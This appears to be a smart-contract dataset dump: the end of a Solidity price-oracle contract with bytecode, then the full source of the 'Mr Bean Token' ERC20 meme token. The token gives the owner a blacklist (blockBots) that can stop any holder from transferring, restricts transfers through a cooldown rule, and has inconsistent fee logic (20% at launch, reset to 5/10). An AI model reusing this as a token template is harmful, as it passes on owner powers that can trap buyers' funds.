* @param account The address in whitelist yet
*/
function removeWhiter(address account) public onlyOwner {
require(
isWhiter(account),
"WhiteListe: the account not exist whilteList"
);
delete whiter[account];
emit RemoveWhiter(account);
}
/**
* @notice Check whether acccount in whitelist
* @param account Any address
*/
function isWhiter(address account) public view returns (bool) {
return whiter[account] == 1;
}
/**
* @notice Check whether msg.sender in whitelist overrides.
*/
function isWhiter() public view returns (bool) {
return isWhiter(msg.sender);
}
}
contract Oracle is Owned, WhiteList {
using SafeMath for uint256;
/// @notice Token-usdt price
uint256 public val;
/// @notice Price update date(s)
uint256 public time;
/// @notice Oracle Name
bytes32 name;
/// @notice Oracle update success event
event OracleUpdate(uint256 val, uint256 time);
/// @notice Dparam address
IParams params;
/// @notice Esm address
IEsm esm;
/**
* @notice Construct a new Oracle
* @param _params Dynamic parameter contract address
* @param _esm Esm parameter contract address
*/
constructor(address _params, address _esm) public Owned(msg.sender) {
params = IParams(_params);
esm = IEsm(_esm);
name = "OIN-USDT";
}
/**
* @notice Chain-off push price to chain-on
* @param price Token-usdt price decimals is same as token
*/
function poke(uint256 price) public onlyWhiter {
require(!esm.isClosed(), "System closed yet.");
val = price;
time = block.timestamp;
if (params.isLiquidation(price)) {
esm.shutdown();
} else {
emit OracleUpdate(val, time);
}
}
/**
* @notice Anybody can read the oracle price
*/
function peek() public view returns (uint256) {
return val;
}
}
|
0x608060405234801561001057600080fd5b50600436106100cf5760003560e01c806353a47bb71161008c57806379ba50971161006657806379ba5097146102c05780638da5cb5b146102ca578063c97ec6bd14610314578063f95f450014610358576100cf565b806353a47bb71461020057806359e02dd71461024a57806367f3c2a514610268576100cf565b80631627540c146100d457806316ada547146101185780631dcba5311461013657806332145f901461015857806332a2b2db146101865780633c6bb436146101e2575b600080fd5b610116600480360360208110156100ea57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061039c565b005b6101206104e8565b6040518082815260200191505060405180910390f35b61013e6104ee565b604051808215151515815260200191505060405180910390f35b6101846004803603602081101561016e57600080fd5b81019080803590602001909291905050506104fe565b005b6101c86004803603602081101561019c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610800565b604051808215151515815260200191505060405180910390f35b6101ea61084c565b6040518082815260200191505060405180910390f35b610208610852565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610252610878565b6040518082815260200191505060405180910390f35b6102aa6004803603602081101561027e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610882565b6040518082815260200191505060405180910390f35b6102c861089a565b005b6102d2610ac0565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6103566004803603602081101561032a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ae5565b005b61039a6004803603602081101561036e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610c91565b005b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610441576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602f815260200180610f19602f913960400191505060405180910390fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507f906a1c6bd7e3091ea86693dd029a831c19049ce77f1dce2ce0bab1cacbabce2281604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a150565b60045481565b60006104f933610800565b905090565b6105066104ee565b61055b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526028815260200180610fa06028913960400191505060405180910390fd5b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c2b6b58c6040518163ffffffff1660e01b815260040160206040518083038186803b1580156105c357600080fd5b505afa1580156105d7573d6000803e3d6000fd5b505050506040513d60208110156105ed57600080fd5b810190808051906020019092919050505015610671576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260128152602001807f53797374656d20636c6f736564207965742e000000000000000000000000000081525060200191505060405180910390fd5b8060038190555042600481905550600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ab68bdb7826040518263ffffffff1660e01b81526004018082815260200191505060206040518083038186803b1580156106f257600080fd5b505afa158015610706573d6000803e3d6000fd5b505050506040513d602081101561071c57600080fd5b8101908080519060200190929190505050156107b957600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663fc0e74d16040518163ffffffff1660e01b8152600401600060405180830381600087803b15801561079c57600080fd5b505af11580156107b0573d6000803e3d6000fd5b505050506107fd565b7fd43c12578a968ffd94dee5ea7925911b346fff65b3be20ee01eef9fdb4af8655600354600454604051808381526020018281526020019250505060405180910390a15b50565b60006001600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054149050919050565b60035481565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600354905090565b60026020528060005260406000206000915090505481565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610940576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526035815260200180610ee46035913960400191505060405180910390fd5b7fb532073b38c83145e3e5135377a08bf9aab55bc0fd7c1179cd4fb995d2a5159c6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019250505060405180910390a1600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610b8a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602f815260200180610f19602f913960400191505060405180910390fd5b610b9381610800565b610be8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602c815260200180610f48602c913960400191505060405180910390fd5b600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600090557fa7498c8942adb10d7b806c9a26cff6dd93b6f0259681ffcb98d8dafd8b174f8e81604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a150565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610d36576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602f815260200180610f19602f913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610dd9576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f57686974654c6973743a2061646472657373206e6f74207a65726f000000000081525060200191505060405180910390fd5b610de281610800565b15610e38576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602c815260200180610f74602c913960400191505060405180910390fd5b6001600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055507ff6f23488d2332695a038c333e5b9b5ad5a5a6aa7001c5c8f2c851051907402c681604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a15056fe596f75206d757374206265206e6f6d696e61746564206265666f726520796f752063616e20616363657074206f776e6572736869704f6e6c792074686520636f6e7472616374206f776e6572206d617920706572666f726d207468697320616374696f6e57686974654c697374653a20746865206163636f756e74206e6f74206578697374207768696c74654c69737457686974654c697374653a20746865206163636f756e74206578736974207768696c74654c6973742079657457686974654c6973743a206d73672e73656e646572206e6f7420696e207768696c74654c6973742ea265627a7a723158204f3652f01144da7dadbde785601d135d4a0360fa764b6011b0e01b316276ec6d64736f6c63430005100032
|
{"success": true, "error": null, "results": {}}
| 7,915 |
0x0b350069CaEE759477293668b5Fa927084F1EA48
|
// Mr Bean Token ($BEAN)
//Telegram: https://t.me/mrbeantoken
/*
.';cloxkkkkkkkO0000OOOOkxdoooolloodol:;,..
.,:oxO0OOkkkkkxxdollc:;,''..... ....'''...
.;lk0K00000Oxoc:,'.. ..'''.
.;lxkO0XXK0ko:'. .,lc,.
'cxkOkkkkxo:.. 'd0kl'
.;dkkko:,'... ........ .';:cc,
.:kKK0d,. ....',;:clodxxkkkkkkxxol;. .;:'
;xKXX0d' .:ooc;'...........',;:codxkOO000000K00000000000xc' 'lc.
.lO00ko,..:dO000000OkkxxxxkkOO0000000000000OOO00K00000000x;. ;xd;.
,okOxc..,lk00000K000K0000000000000OkkkxddddddddddxO00000k:. 'dkxl.
.:xkko' .:dddo:',cx000000KK00000Oxc,...;oxOO000000kxk0000x' 'dkkkx;
.lxkkkl. :k000x, .:x0000000000x;. .oO0000000KK000000O; ;xkkOOkc.
.okOOOOk; ,k0000k:. 'x00000000kc. ..;ok0000K00K00000K000k, .lkkOO00Oc.
.xK0OOOOOd..c000000x:..'x0000000kddxxkO0000000000000K0000000l. .,;cokO0Oc.
.dXNXK0OOOkc..d0000000kocd0000000000000OkxkkOkkkxkO0000000000Ol. ..,,,,'.. .;dkx;
lXNNNNXXKOkd' :O00OxkOOOolO0000000000OxxOXNWMWNNKOxx00000000000x; .;ldkOOkkkkkxc. .cxd,
,0NNNNNNNX0Okc..dOxkKNWMMOoO000000000OdxNMMMMMMMMMMXxd00000000000Oc. .:dOOxl:,.....;x0x' .lkl.
.l0KKKKKKK000Ox' ;okWMMWNKdo0000000000xdXMMMMMWNNWWMMKdx00000000000d. 'lkOxc'. ..,;;. ,k0: :kx:
'dkkkOOO000000Oc..lKMMM0;.:k0000000000xdXMMMMNd';ckWMXdx00000000000c. ,oOOd;...;cdkO000d',kk, .lkOx
:kkkkkkkOOO000Ol..;OWMNx;ck000K0000000OdOWMMMNx:cd0WNkdO0000000000k;'lO0x:',cdO0000000Ol;dk; :kO0O
.okkkkkkkkkkkdc,..'coxkxxk00000000000000OxxKNWMNKOOkkdld000000000000kk00dccxO000000000xlcdo' .ck0000
'dkkkkkkkOOd;..;llodddk0000000000K000OOO00kxxddxxxkkd;,o00000K0000K00000xx000000000Oxoodo;. ,xKXXXKO
;kOOOkkkOOo..:xxook0000KK0000000000kxdddddk0dldO00K0kllx0000000000KK00d;:x0K0000kxddddl,. 'dKWWNXK0O
:O0KK00KKk, :Oxlx000000K00000000000000K00dcoco000000000kddO0000000000x, 'oxxxxxxxddo:. .cKNNXK00OOO
cKNNNNNNWO'.lOoo000000K0000K0000K0000000kocl;,cdddddddddxO000000000000xoodxxxxdoc,. ...ckkkOOkkOOO
:KNNWWWWWK: ;kooO000000000000kxddooooooolcc:...:llooodk000000000000xoollcc:,'.. .........,:c::dO0K
,k0KKXNNNNk'.cxook00000Okxdol:;:cccc::;;,....'ldxxxxxxk000000000ko,... .. .,'..............'lOKXN
.oOOOOO00KKx,.,oddddddddddoddddddool:.. ..'cdxxxxxxxk0000000x:..':cllllc;'',,'..............':o0NW
:kkkkkkkOOOx:..,lkOO00000Okxxxxxxolo:. ..':odxxxxxxxkO0000Od;..,cdxxxxxxxxdl;... ..............;oxk
'dkkkkkkkkkxl'. .,cdO00000kxxxxdlcxko::codxxxxxxxxxO0000x;..;ldxxxxxxxxxxdc. .'. ............';:
.cOOOOkkkkkkdc,... ..,cdk00kxxxxdloxdollodxxxxxxxkO000k:..;ldxxxxxxxxxxdl' .,oO0x' .........':od;
'x0000OOkkOOxol;'...',...,cdxxxxxxdooloodxxxxxkO0000Oo..'lddxxdoc:cclodc. .lO000d. .......,lxkl.
:O0Okxdc;:cclxxc,,lxxdl:,...,:loxxxxxxxxxkkO000000k:..:ddxxxo;. ....... 'd000ko;'',. ...',ckOx,
.:l:,',,''..',,,cdxxxxddolc;'...,:okOOOO000000000x,.'ldxdxxxc. 'odoc;..,x00OoldkO00x' .;cdkxx:
...',,,,'...'cxxxxdoooddooooc;'..':ok00000000Ox, 'codxxdxl. .ckO00Oxk000OkO000ko;. .,llc;'.
.',;;,'.'.,lxxxxxdodddddddxxxdoc;...,cdkkddxxd, .;lddxdl,. .';:cdO00K0xolooc. 'c,''...
.,,,'.'.,lxxxxxxxxdddddddddddxxddc. .:;',d00o.... .;ldxdo:;'.. .oOxxkkxkOOOl. 'dl'...
.''.'.'lxxxxdodxdodxxxdoddodddxd:. .,;,,,,ld:'',,'. .,ldxxxddl. :o'..'',,,'. .:xxl.
....cxxxxdoooddddxxxdooodddxd:. ..';,,;lOWk;,',:,... .;ldxddc. ,c. .''''',:oxxxc.
..;dxxxdddddddddxddddddddddc. ..'o0o,lKNMXl,,',,';:,...,ldo, .oxo' ,dxxxxxxxxo,
;dxddddxxxxxxxdddxxxxxxxx; .'''lNXl,cxNMO:.';;',;::,...''. 'xKO; ;dxxxxxd:.
'loodxxxxxxxdodxxxxxxddo. ...',cKWx,',dNWx'',;;,';:::;.. ';:;,. 'dxxxdc.
.:oxxxxxxdddxxxxxddddl. .'..';OMO;',,oXXl,,',:,',;:::;...,::::. 'dxd:.
.;ldxxxdodxxxxdddddc. ',''.'xWKc',;,oX0c;,';:;'.'::::,.,:::;. 'c;.
.':odxdodxdodddddl. ';'.''oNXc.,;;,dXk:,,';:;...,::;',:::;.
.':lodddoooddoc. .:,..'cKXl.,;;,,dXk;,',::;. .;;;,,,..
.';cooooooo. .:,..';kNo',;;;;,dXx;,',::;. ....
.',,:lo' .:;'..'dNx,,;;;;,lXNx;'',,,.
.. ..'....:OOdc'','.:xxl'.
.''..
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract MrBeanToken is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Mr Bean Token";
string private constant _symbol = "BEAN";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 2;
uint256 private _teamFee = 18;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 5;
_teamFee = 10;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (10 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function startTrading() external onlyOwner() {
require(!tradingOpen, "trading is already started");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 4000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010c5760003560e01c80636fc3eaec1161009557806395d89b411161006457806395d89b41146102da578063a9059cbb14610307578063c3c8cd8014610327578063d543dbeb1461033c578063dd62ed3e1461035c57600080fd5b80636fc3eaec1461026857806370a082311461027d578063715018a61461029d5780638da5cb5b146102b257600080fd5b806323b872dd116100dc57806323b872dd146101d7578063293230b8146101f7578063313ce5671461020c5780635932ead1146102285780636b9990531461024857600080fd5b8062b8cf2a1461011857806306fdde031461013a578063095ea7b31461018257806318160ddd146101b257600080fd5b3661011357005b600080fd5b34801561012457600080fd5b506101386101333660046118a7565b6103a2565b005b34801561014657600080fd5b5060408051808201909152600d81526c26b9102132b0b7102a37b5b2b760991b60208201525b60405161017991906119eb565b60405180910390f35b34801561018e57600080fd5b506101a261019d36600461187c565b61044f565b6040519015158152602001610179565b3480156101be57600080fd5b50670de0b6b3a76400005b604051908152602001610179565b3480156101e357600080fd5b506101a26101f236600461183c565b610466565b34801561020357600080fd5b506101386104cf565b34801561021857600080fd5b5060405160098152602001610179565b34801561023457600080fd5b5061013861024336600461196e565b610890565b34801561025457600080fd5b506101386102633660046117cc565b6108d8565b34801561027457600080fd5b50610138610923565b34801561028957600080fd5b506101c96102983660046117cc565b610950565b3480156102a957600080fd5b50610138610972565b3480156102be57600080fd5b506000546040516001600160a01b039091168152602001610179565b3480156102e657600080fd5b506040805180820190915260048152632122a0a760e11b602082015261016c565b34801561031357600080fd5b506101a261032236600461187c565b6109e6565b34801561033357600080fd5b506101386109f3565b34801561034857600080fd5b506101386103573660046119a6565b610a29565b34801561036857600080fd5b506101c9610377366004611804565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b6000546001600160a01b031633146103d55760405162461bcd60e51b81526004016103cc90611a3e565b60405180910390fd5b60005b815181101561044b576001600a600084848151811061040757634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061044381611b51565b9150506103d8565b5050565b600061045c338484610afb565b5060015b92915050565b6000610473848484610c1f565b6104c584336104c085604051806060016040528060288152602001611bbc602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611031565b610afb565b5060019392505050565b6000546001600160a01b031633146104f95760405162461bcd60e51b81526004016103cc90611a3e565b600f54600160a01b900460ff16156105535760405162461bcd60e51b815260206004820152601a60248201527f74726164696e6720697320616c7265616479207374617274656400000000000060448201526064016103cc565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561058f3082670de0b6b3a7640000610afb565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156105c857600080fd5b505afa1580156105dc573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061060091906117e8565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561064857600080fd5b505afa15801561065c573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061068091906117e8565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156106c857600080fd5b505af11580156106dc573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061070091906117e8565b600f80546001600160a01b0319166001600160a01b03928316179055600e541663f305d719473061073081610950565b6000806107456000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b1580156107a857600080fd5b505af11580156107bc573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906107e191906119be565b5050600f8054660e35fa931a000060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b15801561085857600080fd5b505af115801561086c573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061044b919061198a565b6000546001600160a01b031633146108ba5760405162461bcd60e51b81526004016103cc90611a3e565b600f8054911515600160b81b0260ff60b81b19909216919091179055565b6000546001600160a01b031633146109025760405162461bcd60e51b81526004016103cc90611a3e565b6001600160a01b03166000908152600a60205260409020805460ff19169055565b600c546001600160a01b0316336001600160a01b03161461094357600080fd5b4761094d8161106b565b50565b6001600160a01b038116600090815260026020526040812054610460906110f0565b6000546001600160a01b0316331461099c5760405162461bcd60e51b81526004016103cc90611a3e565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b645